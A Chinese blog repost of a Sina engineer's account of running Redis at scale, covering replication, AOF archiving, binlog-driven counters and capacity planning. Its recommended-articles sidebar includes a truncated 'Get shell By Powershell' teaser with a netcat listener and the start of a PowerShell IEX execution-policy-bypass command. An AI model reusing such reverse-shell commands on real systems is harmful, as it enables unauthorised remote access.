Redis 经验谈

新浪作为全世界最大的Redis用户,在开发和运维方面有非常多的经验。本文作者来自新浪,希望能为业界提供一些亲身经历,让大家少走弯路。

使用初衷

从2010年上半年起,我们就开始尝试使用Redis,主要出于以下几方面的考虑。

性能比MySQL好。因为业务的发展对性能的需求越来越强烈。
丰富的数据类型。在速度就是市场的互联网时代,快速开发是一个不变的需求。
Cache宕机让人纠结,Redis有半持久化和持久化两种方式,能从某种程度上解决这个问题,以减少Cache宕机带来的雪崩效应。
在部分业务场景中,使用MySQL+Memcached存在一致性问题,若使用Redis替代,能降低整体架构复杂度。
完善过程

在开始应用Redis时,规模比较小,数据量也很小,没有遇到太多的问题。而随着数据量的增加,遇到了很多问题。总结一句话就是,当数据量变大时,以前不是问题的问题都变成了问题。

Master/Slave同步问题

首先遇到的是Master/Slave的同步问题。它的原理是Slave做了Slaveof之后,向Master发送一个Sync,Master把内存的数 据Dump出来,形成rdb文件,然后传到Slave,Slave把这个文件加载到内存,完成之后Master向Slave发送新数据包。

在网络出现问题时,比如瞬断,会导致Master里的数据全部重传。对单个端口来说,如果数据量小,那么这个影响不大,而如果数据量比较大的话,则会导致网 络瞬间流量暴增,同时在同步时Slave做不了读操作。我们对其进行了修改,加入Position的概念来解决这个问题,确保在网络出现问题时不会重传所 有数据,只重传断开时后面的数据。

aof的定期归档问题

Redis默认产生的aof文件需要手工做 bgrewrite-aof,这个操作产生的lock会对写产生一定的影响。因此,我们最开始用脚本在凌晨业务低峰时进行这个操作。而随着数量的增 加,lock的时间越来越不能被业务接受。我们对源代码进行了修改,将bgrewriteaof放到Redis内部去实现,在配置文件内制定执行时间,让这个操作自动执行,并且不会导致写产生的lock问题。

同时,我们还将aof设计得与MySQL的binlog类似,设定每个aof的大小,在达到一定值时,会自动产生一个新的aof。

Mytrigger和MytriggerQ的设计

业务有这样的需求:应用按用户维度写入数据,统计用户的记录数(如关注数、粉丝数)时,需要从数据库中执行count(*)操作。在InnoDB中执行这个 相对较慢,而增加Cache方案又满足不了业务对实时性的要求。因此,我们开发了Mytrigger组件来读取MySQL的binlog,然后通过业务逻 辑转化写入Redis。

例如,MySQL中存每条记录,Redis中存按用户维度的记录总和。这样实现之后,应用从MySQL中读取数据,从Redis里读取记录条数,MySQL的压力降低很多,同时计数读取性能提高了很多。

如果应用是数据的写入方,那么它需要将数据写入数据库,同时需要把这些新增或变更通知给另一个应用,另一个应用获得这些新增或更新后开始做自己的业务逻辑处理。

刚开始,我们采用了写数据库的同时再写一份MemcacheQ的方法,后来更换为MytriggerQ读取MySQL的binlog,将读取到的数据转化为 队列。需要了解数据变化的业务通过读取这个MytriggerQ服务来获取数据的变化。这样,应用只用写一次,简化了应用架构的复杂度。

容量设计

当前,我们使用的是96GB的内存型机型,每个端口最终容量控制在30GB以下。当业务需求的容量超过机器最大内存时,采用的拆分方式是Hash到多个端 口,通过基准测试得出在容量允许的情况下,一台机器部署2个实例、4个实例或8个实例的最大性能,预留20%的容量用于增长,根据业务指标计算出需要的资 源数。

使用了Redis自身的过期策略之后,发现存入Redis的数据有可能出现即使还有大量内存没有使用,Redis还会让key过期去释放内存,或者内存不足时key还没有过期的问题。

对于过期的数据,我们采用清理和滚动两种方式。清理容易出现内存碎片;滚动即建两组端口,同时写两组端口。比如要保留3个月的数据,那么每个断开保留6个月 的数据,两个同时写,使用奇数端口,在第4个月时,把读写切换到偶数端口,同时清理奇数端口里的数据,但使用这种方式带来了很高的维护成本。

应用场景

做Cache还是做Storage是我们一直在思考的问题。Redis有持久化和半持久化两种方式,但即使这样,所有Redis的数据都在内存中。大数据量存储时,数据类型的优势将越来越不明显。

当数据量小时,可以不用做过多考虑,因为一切都不是问题,可以利用其丰富的数据类型带来业务的快速开发和上线;数据量总量和增加量都相对可控,数据比较精细 可以使用Redis做存储。例如,用户维度的计数就用Redis来做Storage。但对于对象维度,如微博维度的数据使用Redis做Cache。

有些业务的容量增长过快,与之前的预计有出入,且所有的数据都在内存中,没有冷热区分(降低存储最好的办法就是分级存储),我们就将这部分不再适合放在 Redis的业务使用新的方案代替。例如把它替换成MySQL+Memcached的方式。因为每次做滚动切换的方案运维成本和硬件成本投入都很高,所以 可使用HandlerSocket来替换。例如,前6个月的数据放在Redis中,之后的数据放到MySQL中,在减少切换的同时也能降低运维成本。

未来的计划

随着机器规模的不断增加,可用性和自动化需求越来越强烈,目前我们正在结合ZooKeeper设计Redis的自动切换,同时提高Redis自动化维护需 求。我们会开发一个高速数据访问框架和管理系统,将故障切换、数据拆分逻辑和自动数据迁移放到里面,实现其应用的产品化。希望走过的这些路对大家在使用 Redis的过程中有所帮助。

Original: https://www.cnblogs.com/ylqmf/archive/2013/01/14/2859355.html
Author: tudou@NorthWind
Title: Redis 经验谈

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/529400/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 计算机系统实验

    实验三 一 实验目的 理解堆栈结构,利用缓冲区进行代码攻击 二 准备工作 配置实验环境(IDA、gcc),阅读实验指导书 三 实验过程 0x01第一关 首先理解堆栈的结构 /* 第…

    Linux 2023年6月8日
    098
  • (转)redis系列之——一致性hash算法

    数据分片(sharding)分布式数据存储时,经常要考虑数据分片,避免将大量的数据放在单表或单库中,造成查询等操作的耗时过长。比如,存储订单数据时使用三个mysql库(编号0,1,…

    Linux 2023年5月28日
    0137
  • windows系统如何查看端口被占用、杀进程

    查看系统当前所有的端口使用情况 命令:netstat -ano 查看特定端口是否被占用: netstat -ano |findstr “端口号” 查看到对应…

    Linux 2023年6月13日
    0110
  • Haproxy

    Haproxy Haproxy haproxy简介 负载均衡 Haproxy搭建http负载均衡 lvnanhai、RS1、RS2都关闭防火墙和selinux RS1和RS2部署h…

    Linux 2023年6月6日
    0104
  • Makefile调试和内核定时器的使用

    这周水一篇博客,先把量搞上去。 Makefile简明教程 常用函数 条件函数 $(if condition,then-part[,else-part]) 编写驱动的Makefile…

    Linux 2023年6月7日
    0133
  • 配置phpstorm支持less自动编译css

    安装node.js 安装less npm install less -g 安装css压缩插件less-plugin-clean-css(此步骤非必选) npm install le…

    Linux 2023年6月13日
    098
  • 爱快在PVE下不定时反复重启死机的解决方法

    太长不看版本: 爱快3.6.X在PVE乃至于ESXI下都存在一定的兼容问题 ! 详细情况: 如题,使用爱快版本为3.6.3 x64 Build20220407113364,底层虚拟…

    Linux 2023年6月13日
    0182
  • LeetCode-349. 两个数组的交集

    题目来源 题目详情 给定两个数组 nums1 和 nums2 ,返回 它们的交集 。输出结果中的每个元素一定是 唯一 的。我们可以 不考虑输出结果的顺序 。 示例 1: 输入: n…

    Linux 2023年6月7日
    085
  • DNS 查询原理详解

    你可能会问,难道 DNS 服务器(比如 1.1.1.1)保存了世界上所有域名(包括二级域名、三级域名)的 IP 地址? 当然不是。DNS 是一个分布式系统,1.1.1.1 只是用户…

    Linux 2023年6月8日
    069
  • maven安装及导入本地jar包

    一、maven的安装方法 1.去maven官网下载适合的版本 下载地址: 官方下载地址 2.下载后解压到任意目录 3.配置系统环境变量 M2_HOME ,值为maven解压后的目录…

    Linux 2023年6月14日
    0133
  • 安装Redis

    1、下载redis 2、解压缩、安装 安装完之后,可以执行以下make test,执行make test之前需要先安装tcl 3、配置 redis服务后台启动 找到: 修改为: 4…

    Linux 2023年5月28日
    093
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    099
  • 三系统删除与恢复引导(windows,Ubuntu,deepin)

    三系统的删除与引导修复 一、情况说明: 相信能找到我这篇随笔的朋友估计也是我和一样作死装了三个系统,例如我的(Window10,Ubuntu,deepin) 从左往右为我装系统的顺…

    Linux 2023年6月14日
    0102
  • mysql通过mysqldump命令重做从库详细操作步骤

    备份主库所有数据,并将dump.sql文件拷贝到从库/tmp目录 mysqldump -uroot -p –set-gtid-purged=OFF –single-transa…

    Linux 2023年6月8日
    079
  • X86 assembly guide

    This guide describes the basics of 32-bit x86 assembly language programming, covering a sm…

    Linux 2023年6月7日
    0143
  • jmeter 函数之 _RandomString

    jmeter中有许多函数,学会函数的灵活使用,对于很多工作都是事半功倍的效果,今天先学习函数——__RandomString,该函数可以自定义字符长度。做接口自动化测试时,可以使用…

    Linux 2023年6月8日
    0125
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球